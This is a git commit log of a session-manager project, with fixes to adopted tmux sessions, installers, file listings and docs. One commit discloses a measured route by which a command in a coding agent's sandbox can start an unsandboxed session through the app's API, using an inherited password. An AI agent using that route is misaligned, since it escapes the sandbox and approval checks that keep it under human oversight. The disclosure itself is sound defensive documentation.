- ForeignTmuxSession's mode and workingDir describe the first listed pane, not
  the active one.
- The wiki had no page on adoption: The Dashboard gains an Opened outside Codeman
  section, and the remote and docker pages point at it. docs/docker-cases.md now
  separates an adopted container from an adopted tmux session.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:45:29 +01:00
Codeman maintainer 25214fcc5f fix: adopting a shell session no longer types into the foreign pane (release review)
startShell() writes `clear\n` 100 ms after a new mux attach, and for an adopted
session that write reaches someone else's live pane through the wrapper's tmux
client. Measured on an isolated instance: a shell with `echo DRAFT_NOT_SUBMITTED_`
typed at its prompt ran `echo DRAFT_NOT_SUBMITTED_clear` the moment the tab
opened. `shell` is the feature's primary case and also the classifier's answer
for anything it cannot name (vim, psql, a `read` prompt), so every adoption put
those six bytes in front of whatever was reading stdin.

After the fix a byte recorder in the foreign pane saw 0 bytes in the 6 s after
adopting, and a real input afterwards arrived intact. Not in the review: its
recorder covered the trust-dialog path, which is `claude` mode.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:38:05 +01:00
Codeman maintainer 0141c8954c fix: the wiki's install table says git pull too, and the pty tests skip without script (release review)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:34:24 +01:00
Codeman maintainer c97b592ee2 fix: bring the docs in line with the no-admin route (release review)
Name the real trigger and CODEMAN_NO_ADMIN=0 in the READMEs and the
Installation page, add the install without git to the update tables and the
updater notes, record the installer's downloads in the supply chain section,
and say that the data directory question also removes a kept runtime.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:34:18 +01:00
Codeman maintainer 49b2c0e9bd fix: no-admin route messages, noexec tmp, unset USER and install dir slash (release review)
An account sudoers lists by name, with a password, is routed to no-admin
because nothing can read sudoers without reporting to the administrator.
The route itself stays as chosen, but the reason no longer claims the
account may not use sudo, and every message that ends or sums up the route
names CODEMAN_NO_ADMIN=0 for that reason alone.

tmux and cloudflared are staged in the home folder, so a noexec /tmp no
longer reports a working build as one that does not run. USER gets a default
at the top of the script, which also covers the older lines this route can
reach. A trailing slash on CODEMAN_INSTALL_DIR no longer puts .new and .old
inside the install. The data directory prompt names a runtime kept one
prompt earlier.

The uninstall check reads the source and must never drive uninstall(): HOME
does not redirect systemctl --user, so a drive reaches the real service.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:34:18 +01:00
Codeman maintainer aa40cca343 fix: adopted tmux targets, hung servers and the attach chain (release review)
Names tmux reads as target syntax (`@1`, `%1`, `=eq`, a bare `~`) passed the
has-session guard by name and then joined something else in new-session -t:
another session, or a fresh shell on the foreign server. They are refused at
discovery now, and take the existing skipped note.

One stopped tmux server emptied the whole local list and left a stuck client
per scan. Each server now gets a bounded ping with stdout at /dev/null first,
because a tmux client hands dups of its stdout to the server: a stopped server
holds our pipe open after the client is dead, so a watchdog around list-panes
cannot work. The probe runs in its own process group, all three transports
keep the rows read before a failure, and a missed ping becomes a note.

The attach and the probe pass -u, so a POSIX-locale container no longer garbles
the tab or lists a non-ASCII name as underscores. A docker attach gets the same
TERM and COLORTERM an owned container's exec gets.

A missing tmux no longer reads as "session is gone", and the launch line's `$`
now reaches bash unexpanded, so the ssh attach's PATH line is expanded at the
far end, as the probe's already was.

fix-plan/write, fix-plan/read and ralph-prompt/write refuse an adopted session:
its workingDir is the neutral /tmp, so they read and wrote a predictable name
in a folder anyone can write to.

FOREIGN_MAX_SOCKETS is gone: it capped nothing, and a real cap in glob order
would never reach `default` on a box with many `codeman-*` sockets (this one
has 212). Closing an adopted tab re-reads the outside-sessions list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:33:42 +01:00
Codeman maintainer ba2475c84f fix: updating a Compose install takes a git pull, and the docs say what the script does (release review)
The summary and README said rerunning the script updates Codeman. It never
fetches, so that was a successful no-op. The summary, README, its zh-CN mirror
and the wiki now say git pull, then rerun, with the in-app route first.

Also corrects "printed once" (twice at a terminal, never off one), says a typed
answer beats a preset, adds the first-run setup, the 180 s wait, --no-wait and
the changeme refusal to Running-As-A-Service and Troubleshooting, and records in
architecture-invariants why docker/.env is generated FROM .env.example.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:31:26 +01:00
Codeman maintainer 1a5b314d33 fix: a generated password goes to a terminal only (release review)
With stdout captured (CI, provisioning, `| tee`) the log held the password twice
for a service that controls Docker on the host, while docker/.env, the stronger
copy, is 0600. Off a terminal the script now points at the file instead. The note
beside it no longer promises a second showing, which `--setup-only` never gave.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:30:17 +01:00
Codeman maintainer f41e0cc6d4 fix: dot segments and doubled slashes cannot spell around the data folder refusals (release review)
The refusals of $HOME, ~/.codeman and the checkout compare strings, so
`~/../me` or `<repo>/../repo/data` passed them: the first shares state with a
native install, the second lands in the build context, where `COPY . .` would
bake CLI logins into the image. Doubled slashes are collapsed and any `.` or
`..` segment is refused.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:29:51 +01:00
Codeman maintainer 7ada939182 fix: refuse a docker/.env that exists but is not a regular file (release review)
The first-run gate tested `! -f`, so a dangling symlink was silently replaced,
and a directory got a 0600 temp file holding a working password, a "Wrote"
message and exit 0, with setup repeating on every later run. Setup now runs only
when nothing is there. A symlink to a real file stays an existing install.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:29:21 +01:00
Codeman maintainer 10a53579c6 fix: Update-Codeman.sh no longer closes the settings pipe early (release review)
The CODEMAN_APPDATA_PATH read ended awk at its first match. Whatever wrote the
rest of `config --environment` then met a closed pipe, and pipefail ended the
script with exit 141 and no message. Real Compose wins that race (0 of 50 runs,
on 2.33.0 and 5.5.0), so nobody has reported it, but the test stub, once it
honoured the shell environment, lost it. Same read as the password check below.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:29:00 +01:00
Codeman maintainer d539a7a3a2 fix: refuse a value ending in a backslash on the first run (release review)
In a single-quoted dotenv value a backslash escapes the closing quote, so a
password or data path ending in one passed validation and produced a docker/.env
Compose cannot parse. The error named an unrelated line, printed the password,
and a rerun never asked again. The env_quote comment claimed a single quote was
the only character such a value cannot hold, and the test stub's comment said
bash reads these values the way Compose does: both corrected, and a test now
reads generated values back by Compose's rules.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:28:01 +01:00
Codeman maintainer af6fcb624b fix: a first run's typed answers reach the stack, not just docker/.env (release review)
Compose prefers the shell environment over the env file, so with
CODEMAN_APPDATA_PATH or CODEMAN_PORT preset, a different typed answer went into
docker/.env and the summary while the stack ran on the preset: state split
across two folders and the next plain start mounted another home. Setup now
unsets everything it wrote, so the file it just printed is what Compose reads.
The test stub honours that precedence, and the questions get their first test
through a real pty.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:27:24 +01:00
Codeman maintainer 666e595dfc fix: the Docker daemon preflight fires on CLI 24 through 27 (release review)
`docker info --format` exits 0 with the daemon unreachable on those clients,
so a user outside the docker group got a raw Compose error and a "network
hiccup" hint after docker/.env and the data folder had already been written.
`docker version --format` exits 1 on every release and keeps the same stderr
text, so the permission branch still matches. The test stub now answers `info`
the way those clients do.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:26:53 +01:00
Codeman maintainer 0bc6171687 chore: merge master into the release review branch for PR 573
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:23:10 +01:00
Devvyn d2c75784d3 fix(clone): treat Clone Repo's custom folder as a parent, like Create New 2026-11-06 11:22:34 +08:00
Codeman maintainer aae0951d4e fix: name which picker rules skip the container picker (release review)
The New folder rule in the same paragraph does cover that picker, so "none of
the host rules" said too much.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:06:52 +01:00
Codeman maintainer 19a2197f84 docs: say which picker each statement covers (release review)
The picker is now reached from every Add Case Browse button, so three lines
in the manual and the opening of the CLAUDE.md and architecture-invariants
paragraphs read wrong. A Browse fills its form field, only the Path key types
into a prompt, and Docker's Container Workdir picker lists the inside of the
container through POST /api/docker-cases/browse: it always shows dot entries
and the host allowlist does not apply to it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:03:32 +01:00
Codeman maintainer c04955ca68 merge feat/desktop-app (the PR #763 review fixes) into the graphical installer branch
Both branches changed the connect page and three Rust files. How the
conflicts were settled:

- Layout (connect.html): both sides fixed the page being cut off above a
  small window. One layout is kept, the one that also holds the header still:
  a fixed top margin on `main`. The wizard's own top margin is dropped, since
  the page is anchored from the top in every state now and a second margin
  would move the header when the wizard opens. `#elsewhere` is a child of the
  card since the status line moved above it, so the wizard hides it too.
- State (connect.html): `gui` from the installer next to `askedFrom`,
  `reopen` and the starting-server counters from the review.
- setup.rs: `running_install` for the port, `install_in_app` for the flag.
- local_server.rs: `login_environment` and `in_home` both stay.
- README: the installer's This Mac row with the sentence about a starting
  server; both new paragraphs.

test/desktop-connect-page.browser.test.ts reaches the Terminal install the
way the page now offers it (Install, a failed preparation, "Install in
Terminal instead"), since Install opens the graphical install here.

Checked on the merged tree: 138 Rust unit tests, clippy and fmt on the Mac
mini; test/desktop-connect-install.test.ts (jsdom) and
test/desktop-connect-page.browser.test.ts (Chromium) both pass.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 04:02:20 +01:00
Codeman maintainer 3ef65d7c74 fix: let the path picker's error status wrap (release review)
The cases-folder refusal grew to 143 characters, and the status line is one
line with an ellipsis and no title, so at 513px on desktop it ended at "or
make the case with Ad..." and lost the instruction. .path-picker-status.error
now wraps: 2 lines on desktop, 4 on a phone, measured clear in Chromium at
both, and it covers the picker's other refusals too.

Tests: a pin on that rule (fails without the fix), and the option check now
reads each picker's whole options object instead of a fixed 400 characters,
which stopped short of the container-workdir picker's 829. Retitled to say
what it checks: Create New has the flag too.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 04:02:11 +01:00
Codeman maintainer f37f101137 Merge remote-tracking branch 'origin/master' into relprep/rtl 2026-11-06 04:01:39 +01:00
Codeman maintainer fafec35344 fix: bound what the Files panel walk reads and keep its subfolders in it (release review)
The round-robin walk capped what it listed, not what it read: every queued
folder was read whole, sorted and held until drained, so one GET could pull
millions of entries (100 folders of 50,000 files killed a 400 MB heap). A read
now keeps only the entries the listing can use, and MAX_WALK_ENTRIES_READ stops
opening folders at 250,000 entries, leaving the rest queued and flagged.

A folder also spent its whole share on its own files, leaving nothing for the
subfolders it had just found, alone in its round or beside a sibling, so search
hits inside them were lost. Its files now count as one more share beside those
subfolders. Math.max(directoriesInRound, 2) would have fixed only the sole-folder
case and cut a wide root's folder list short.

Folders below the walk root are probed before their readdir (#516), since the
walk reaches folders the depth-first one never did.

Filtering at the read also clears the false flag on a folder whose only unread
entries were hidden or excluded, and an exactly-full workspace now finishes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:53:08 +01:00
Codeman maintainer 962aa9b998 fix: the remote docs name the Edit history diffs as the exception (release review)
"Nothing is copied to the Codeman host" stopped being true when the Edit
history panel started keeping diffs read from a remote session's
transcripts. The README, the wiki's Remote SSH Sessions page and its
Security page now name that exception, in the wording the PR already uses
on Working With Files and in remote-sessions.md.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:49:59 +01:00
Codeman maintainer 81f8c8e894 fix: the live transcript lookup targets the exact tmux session (release review)
list-panes -t '=name' with no colon is a window target to tmux, so a
remote session that is gone resolved to a window of that name or to a
session the name is a prefix of, and the Edit history panel moved to that
session's conversation and stored its diffs. `=name:` is an exact session
match, as src/remote-pane-history.ts already uses. Measured on tmux 3.4.

The fake tmux in the test matched the name as a substring, so it passed
with or without the colon. It now needs the exact token and answers a bare
prefix the way real tmux does.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:49:59 +01:00
Codeman maintainer dbb3202161 fix(picker): word the cases-folder refusal for both pickers, and finish the review items
With the folder field empty, Create New's Browse opens in the cases folder, and New
folder there answered "Use Add Case > New Case". There is no tab of that name (the
label is Create New), and a Create New user is already on it. The refusal now reads
right from Link Existing and from Create New's custom folder. Its test pin, the code
comment, the manual, api-reference, CLAUDE.md and architecture-invariants move with it.

The block() helper in the New folder picker test returned an empty string for a name
that is not in session-ui.js, so .not.toContain passed and a renamed picker dropped out
of the check. It now asserts the name was found.

The manual's path picker list said two places and left out Create New, which the New
folder paragraph names. It now lists every Browse that opens the picker, and that
paragraph is rewrapped to the page's width.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:40:58 +01:00
Codeman maintainer 36d8942744 docs(adopt): add the frontend note and scan the module for CLI ids
foreign-sessions.js joins the files the no-id test scans, so the catalog lookup
stays one. The block's rules go where a frontend reader looks, in
src/web/CLAUDE.md, and the architecture note no longer calls the file surfaces
read-only, since File Viewer edit mode writes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:38:38 +01:00
Codeman maintainer ae0de7a1ec Merge origin/master into relprep/pr-761
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:37:24 +01:00
Codeman maintainer 14716114cb fix: format the Codex changeset's frontmatter (release review)
Prettier wants single quotes on the package key, as earlier changesets in this
repository have. Valid YAML either way, so the release is unaffected.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:30:06 +01:00
Codeman maintainer 1f6f21fd24 docs(adopt): document the routes and the overlay, correct stale comments
The two routes are public under /api/v1, so they get an API reference section.
The overlay gets an architecture note and a CLAUDE.md rule: an adopted session
has session.remote and session.docker undefined and a neutral workingDir, so any
new code that reads workingDir as a workspace must also test isAdopted. That is
the class of bug this round fixed a dozen times.

Records a measured limit: while the view exists an owner's kill-session leaves
the window alive under it until the tab closes.

Comments that still called workingDir the foreign pane's cwd now say what is
true since the wrapper got its neutral folder. Also drops a zh-CN key that
duplicated an existing one, and updates the two structure tests pinned on the
lines this round changed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:29:35 +01:00
Codeman maintainer e10b84dcdd fix: refresh comments that still say claude is the only gated CLI (release review)
Codex now declares a version gate too, so the notes in session.ts and
docker-hosts.ts were wrong, the hooks-config caveat described every local codex
when --no-daemon now covers 0.162 and later, and session-routes left network
access out of the launch defaults. architecture-invariants gains --no-daemon and
the network config in its list of Codex flags. Comments and docs only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:25:00 +01:00
Codeman maintainer 353fe7ebcf fix: say what Allow network access really opens (release review)
The setting told users the sandbox and approvals stay on. With it on, a
command in Codex's sandbox can call Codeman's API, which can start a session
outside the sandbox with no approval prompt. Measured on codex 0.162.0 with
`codex sandbox`: a touch the sandbox refused landed through POST /api/sessions,
and from inside a Codeman pane it landed with a password set too, because a
pane inherits CODEMAN_PASSWORD. Without that password the same call gets 401.

The settings row, the wiki, the skill and the changeset now say so, the wiki
Security page and security-architecture name it, and the docs scope the claims
to what the code does: app-wide, local launches only, not cron jobs, and
--no-daemon is a local launch's flag. Agent-CLIs gains the --no-daemon
trade-off. A test pins that no surface sells the sandbox as still in charge.

Text only: the switch, the clamp and the launch are unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:25:00 +01:00
Codeman maintainer 08d99da5ae test(edit-history): the ssh kill test no longer races the fake's pid file
The test waited for a real 1000 ms timeout and read the pid file afterwards.
On a loaded machine the kill could land before the fake ssh wrote it. It now
waits for the pid and sends the timeout's SIGTERM itself, which is all Node's
timeout does. Without exec the fake still survives and the test goes red.

The invariants said "the reads" go through buildRemoteEditHistoryCommand; the
image probes go through remoteProbePaths, on the same limiter.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:17:14 +01:00
Codeman maintainer d62fa10c01 fix(adopt): zh-CN, registry labels, and the outside-sessions block for non-admins
Every string the block shows now has a zh-CN entry, harvested by a test from the
real module. The row's mode comes from the CLI catalog, not a list of ids that
had already missed omp and copilot. The close dialog's line is static, so the
translator can reach it.

A non-admin's poll answers 403, which read as a failed poll: "Could not reach
the server" under a heading they cannot use, and a request every eight seconds.
That now stops the polling and shows no block.

Wide-scan notes are kept apart from local ones, so the next local poll no longer
wipes "remote X: unreachable" while its rows stay on the list.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:13:52 +01:00
Codeman maintainer 7de4201955 fix(adopt): an adopted session has no workspace of ours
The wrapper's workingDir is the neutral /tmp, and everything master grew since
1.33.2 that branches on session.remote or session.docker read that as a local
session working in /tmp, because an adopted session keeps its connection on
adopt.remote and adopt.docker.

So uploads wrote into /tmp and closing the tab recursively deleted the shared
folder; the Git panel, its fetch and the fetch scheduler ran git on whatever sat
there; the image watcher, Read My Mind and the Discord bridge used that folder;
last-response paired a transcript by it and could show another conversation's
answer as this one's; a magic link in a container's output registered a file
from this host's /tmp; and guarded input could type into a human's composer.
Each now refuses or answers unsupported, the browser hides the rows that cannot
work, and Session Options shows where the foreign pane was instead of /tmp.

The custom-model route refuses as well, since it restarts the CLI in the pane.
The local version probe is skipped: the local binary says nothing about a
process someone else started, possibly on another host.

Also moves the guard test to port 0, which test-ports-guard now requires.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:13:52 +01:00
Codeman maintainer b5066744be fix(edit-history): a remote read with many subagents spans several round trips
The read script carries one case line per subagent cursor, and the whole
script is one argument of the ssh line, which Linux caps at 128 KiB. From
about 1000 subagents the command failed with E2BIG. The cursors have no cap
and the stored conversation is read first, so the session stayed unavailable
and not even a /clear got past it.

A read with more than 300 subagent requests now takes several round trips.
The cut is by name range, not only by count: the script takes a file no case
line names for a new one, so plain groups would read each other's files as
new. Each round trip walks only the names between its cuts, through one awk,
so a new file lands in exactly one range. Budget and meta budget carry over,
and a later round trip still lists its files, because a requested file missing
from the result loses its cursor. A failed round trip fails the whole read and
nothing of it reaches the store. A read of up to 300 runs no awk at all.

Each round of the 60-seed fuzz is also cut at a random size and compared with
the local reader. Run outside the suite too: bash --posix, BusyBox and mawk,
and bash 3.2 in a container, which is macOS sh. That shell cannot parse a case
inside $(...), so the names come from a shell function.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:13:03 +01:00
Codeman maintainer f464a22bc3 fix(adopt): bring the docker and ssh transports up to master
Docker discovery now spawns dockerEngineArgv(), not the shell-quoted
buildDockerBaseArgs(): execFile passed those quotes through, so docker
--context "'default'" failed and every container behind a named context or
remote daemon read as unreachable.

The ssh probe and attach gain withRemoteTmuxPath() like every other remote tmux
call, run in an explicit sh because the guard chain is POSIX and the remote
login shell may be fish, and the probe holds a slot of the remote-ssh limiter
and execs ssh so a timeout reaches it. Notes from a remote scan are no longer
dropped, and every note now opens with its location.

The adopted branch of killSession no longer blocks the event loop on docker or
tmux, kills the in-container view by exact name, and clears the pane-exit and
reconnect state the non-owned remote branch does. An adopted wrapper reports
no injected statusline, since nothing could carry it. Key tables on the foreign
server are left alone on purpose, and the invocation now says so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:06:47 +01:00
Codeman maintainer a0e21109b2 fix(adopt): key adopted targets by location, not just socket and name
Session 0 in two containers, or one name on this machine and on an ssh host
with the same uid, shared a (socket, name) pair, so opening one returned the
other's tab and its row read "Go to tab". foreignTargetKey() is now the one
key, built from the location, the host identity, the socket and the name, and
both the one-wrapper check and adoptedBy read it.

Both also read live sessions instead of mux records, which only exist once the
first attach starts the pane. An in-flight mark closes the rest of that window:
the route awaits the registries and the layout lock before the session lands in
the map. Docker targets are keyed per engine for the same reason, or a second
daemon's container of one name was never scanned.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 03:03:05 +01:00
Codeman maintainer 26b63aea2d fix(edit-history): remote lookup finds tmux, a timeout reaches ssh, docs follow
Applies the review of #766.

The live lookup ran tmux on the bare PATH of the ssh command. On a host
where tmux sits in ~/.local/bin or /opt/homebrew/bin it found no pane, the
2>/dev/null hid that, and the panel stayed on the launch conversation after
a /clear. It now goes through withRemoteTmuxPath(), inside the sh script and
scoped to the $(...), so the other tools keep the PATH they had. The fake
tmux of the test block moved to $HOME/.local/bin for the same reason: that
directory is first on the new PATH, so a real tmux is never asked.

The two ssh commands get exec. Node signals the local sh -c, and dash stays
the parent of a plain command, so ssh survived the timeout. A test with a
fake ssh shows the process dies now and survives without exec.

The comment at the meta budget claimed a meta past it comes with a later
read. A meta comes only with a subagent's first read, so it is never sent.

Docs: the store is named as the exception to "never copied to local disk",
remoteProbePaths and the remote transcript lookup are described, and the
line saying a remote session loads no store is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:57:58 +01:00
Codeman maintainer a908be05ac fix(files): mark folders the scan limit stopped short of
The fair rounds give a directory its node before reading it, so every folder
still queued when the 5,000-node budget ends sat in the tree with empty or
partial children and read as an empty folder. Keep the node on the tree cursor
and set an additive incomplete: true on every cursor left in the queue, then
draw one dim, inert row under such a folder while it is expanded. The envelope
check ignores keys it does not know, so old and new clients stay compatible.

Stop each round at the top once the budget is spent, before the shift: the
rest stay queued unread, and flagged, rather than read and sorted for nothing.

Say what the walk is: a per-directory round-robin (breadth-first), fair per
directory and not per subtree, with search results now shallow-first.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:57:28 +01:00
Codeman maintainer 131a12d195 docs(codex): say what Allow network access leaves alone
The owner's answer to the PR's open question: the switch does not also pass
--sandbox workspace-write. Settings, wiki, skill and release note now state
the consequence: a folder Codex runs read-only keeps the network closed and
asks per command. A golden test pins the decision by name, and the stale
launch-defaults comments now name networkAccess.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:52:52 +01:00
Codeman maintainer bb42f8105e Merge branch 'relprep/pr-772' into relprep/pr-614
Both sides rewrite the /files walk. Keep the fair rounds from #614 and carry
the two things #772 does to the walk onto them: both queues start at walkRoot,
and the search predicate reads a path relative to the listing while every
returned path stays relative to workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:50 +01:00
Codeman maintainer b51632e54b feat(desktop): install Codeman from the app, with no Terminal and no password
The This Mac tab runs install.sh --no-admin itself. The two questions only a
person can answer move into the app: which coding agent to install, shown only
when this Mac has none, and who may reach Codeman. The installer's output goes
to a file, so a running install survives the app quitting and is picked up
again when it reopens.

install.sh gains --ai-cli, --progress and a preflight subcommand, which is what
the app reads its choices from, so it keeps no copy of the CLI catalogue.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:00 +01:00
Codeman maintainer 57b2dcc466 Merge remote-tracking branch 'origin/master' into relprep/pr-510
Brings the 1.33.2 based adoption feature up to master. Conflicts were
resolved by keeping master's intent and re-applying the feature on top:
both sides kept for imports, the script tag and the stylesheet blocks; the
trust-dialog guard keeps master's stopped check plus the adopted refusal;
the Ralph and image watchers keep master's remote branch plus the adopted
skip; the close confirmation keeps master's worktree option plus the
adopted wording.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:51:00 +01:00
Codeman maintainer 35ff4e886c Merge origin/master into relprep/pr-753
Conflict in src/session-cli-registry-bridge.ts: kept the PR's gateVersion() (gates measured against the gated CLI's own version) and added master's Discord startup hint engine value.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:50:25 +01:00
Codeman maintainer 0d42fdc0cf Merge remote-tracking branch 'origin/master' into relprep/pr-614 2026-11-06 02:44:43 +01:00
Codeman maintainer a8688f14a0 fix: disclose the tcsh regression and bring the launch docs in line (release review)
A tcsh login shell worked on 1.48.0 only because the local sh rewrote
${SHELL:-/bin/sh} to this host's shell. With the launch verbatim, tcsh gets -i -l,
refuses it and every stock launch leaves a dead pane. The changeset and
docs/remote-sessions.md described that as a standing limitation; they now name it
as a change in this release, with what the override workaround costs.

Also: extraSshOptions joins the list of values now literal at launch, the stock pane
command is shown as /bin/sh -c in the docs and the builder's JSDoc, the invariants
state how the launch must reach the far end, the manual pages cover $ in an override,
and the invariants no longer say extraSshOptions refuses a bare $ (it never did).

Reworded the em-dashes on the invariants line this rewrites.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:42 +01:00
Codeman maintainer 9b73ab3dbe fix: state what a clear and a restart keep in the custom-model docs (release review)
Records the limit on a session with its own CLAUDE_CONFIG_DIR, which does not
carry its conversation across an endpoint because the isolated projects link
goes to the server's tree. Also records that an own home set before a restart
with no selection is lost on clear, that only an absolute path is persisted,
and tells the user manual what a clear gives back.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer 4513ef6ebb fix: keep a disabled CLI's keys in the owner env clamp (release review)
ownerClampedEnvKeys() read enabledClis(), so disabling a CLI dropped its
privileged keys from the clamp, and a revoked owner got a saved home back on
recovery or reboot restore. getCli() still returns a disabled entry, and a
session can outlive the switch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer db5222c4fa fix: keep a home value that is not a path off disk, and re-apply from the own home (release review)
getCustomModelForPersist() trusted homeEnvVar to name a path, but the registry
types it as any env name, so a clis.json override could write a session's own
credential to state.json. Only an absolute path is written now.

A re-apply resolved the CLI's real home from what the session's map held, which
under a selection is the injected directory, and recovery resolved none at all.
An entry the own home lacks (settings.yaml) was then linked from the server's
home on an endpoint switch and on recovery. The route now reads the new
Session.ownEnvValue(), and recovery reads the clamped record through the same
bounded guard, under the bulk cap since it walks every saved session. Also
corrects the comment that said only a removed directory gets its links again.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:39:11 +01:00
Codeman maintainer b6eea702a8 fix: correct the pi wheel docs and comments (release review)
The gate comment in terminal-ui.js said a stale-false flag falls through
to the PageUp/PageDown fallback, which is false for pi since the second
commit of this PR removed that fallback. The FOOTGUN comment above it made
the same claim. Say what happens instead.

"Every pi below 1.0.0 emits no mouse enables" was too absolute: regular
was the default there, but fullscreen exists from 0.84.0. Measured with
--tui-mode fullscreen under tmux on 0.84.1, 0.85.0, 0.86.0 and 0.99.2:
alternate_on=1, mouse_any_flag=1, mouse_sgr_flag=1. Default settings on
0.99.2 report all 0.

Document that Wheel Scrolls Local History leaves the wheel dead in
fullscreen pi (wiki, integration guide, changeset), add a pi block to
Troubleshooting, cross-reference the accepted exception from the dead
gesture rule in architecture-invariants, and mark the pi-integration-plan
passages this PR reversed as superseded.

Comments and docs only, no runtime change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:35:41 +01:00
Codeman maintainer bf6457e488 fix: accept omp and copilot in the per-mode command overrides (release review)
RemoteCommandOverridesSchema is .strict() and stopped at deepseek, so the API
refused a commands.omp or commands.copilot override although both modes can run
remotely and in a container (RemoteCommandMode, DockerCommandMode) and the launch
builders honour the key. The docs call the override the way out for a login shell
the stock launch cannot run, which was not true for those two modes.

The test walks the CLI registry, so the next CLI cannot miss the schema the same way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:34:41 +01:00
Codeman maintainer 55514c7e3c docs: state the new linked-cases answers (release review)
The API reference still said a registry failure on create and clone is
500 and did not list the rename's new 409s. CLAUDE.md said both files
are restored after a failed registry write, and left out the
config-backup restore exception.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:27:39 +01:00
Codeman maintainer 2ec739fd3a test: pin the rename re-checks and the refused-registry answers (release review)
The rename's checks inside mutateLinkedCases and the refused-registry
branches of rename and clone had no test: removing them left every
case route test green. A hook right after the folder move lands a link,
an unlink, a re-pointed entry or a torn file between the route's first
check and its registry write. Each new test fails when its check is
removed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:27:39 +01:00
Codeman maintainer 4f7ed129a9 docs: describe the live worktree listing as it now works (release review)
The security wording claimed a folder strictly below workingDir was the whole
argument, which the symlink fix showed was only the lookup's half. The rest is
docs that were missing: liveWorktree, root=live and worktree in the API
reference, the mechanism section the CLAUDE.md paragraph had no pointer to, what
a root=live query matches against, and the limits a reader meets in the wiki
(the Git panel stays on the session's folder, a session started below the
repository's top is not followed, a page under .claude/worktrees opens as
source).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:26:36 +01:00
Codeman maintainer 5c1ec46b6f fix: keep a root=live listing inside the session folder (release review)
The lookup judges liveWorktree.path lexically and only when the pane moves,
while the route's probe and readdir both follow symlinks. A symlink put at
that path, or at a parent of it, without moving the pane re-rooted the listing
outside workingDir. Names and sizes leaked, while file-content and file-raw
still refused the paths.

The route now resolves both folders on every request and walks the worktree
only when it lies strictly inside the resolved workingDir, otherwise it walks
workingDir. Only the check uses the resolved paths: the walk keeps the session's
spelling, so a workspace reached through a symlink still gets paths relative
to workingDir.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:25:14 +01:00
Codeman maintainer ed74ae41bc merge feat/no-admin-install into the graphical installer branch
The graphical install runs install.sh --no-admin, so this branch needs both
PR #763 (the app) and PR #768 (the route that needs no password).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 02:01:55 +01:00
